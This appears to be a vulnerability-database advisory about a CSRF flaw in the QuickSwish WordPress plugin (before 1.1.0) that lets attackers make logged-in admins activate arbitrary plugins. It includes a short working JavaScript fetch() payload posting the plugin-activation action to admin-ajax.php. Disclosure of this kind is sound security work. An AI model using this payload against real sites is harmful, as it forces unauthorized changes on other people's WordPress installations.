Lucene search

K
wpexploitLana CodesWPEX-ID:9342470A-A0AD-4F0B-B95F-7DAA39A6362B
HistoryFeb 28, 2023 - 12:00 a.m.

QuickSwish < 1.1.0 - Arbitrary Plugin Activation via CSRF

2023-02-2800:00:00
Lana Codes
53
quickswish
arbitrary plugin activation
csrf
woocommerce
exploit

0.001 Low

EPSS

Percentile

29.4%

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

activate woocommerce plugin exploit:

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=quickswish_ajax_plugin_activation&location=woocommerce/woocommerce.php',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

0.001 Low

EPSS

Percentile

29.4%

Related for WPEX-ID:9342470A-A0AD-4F0B-B95F-7DAA39A6362B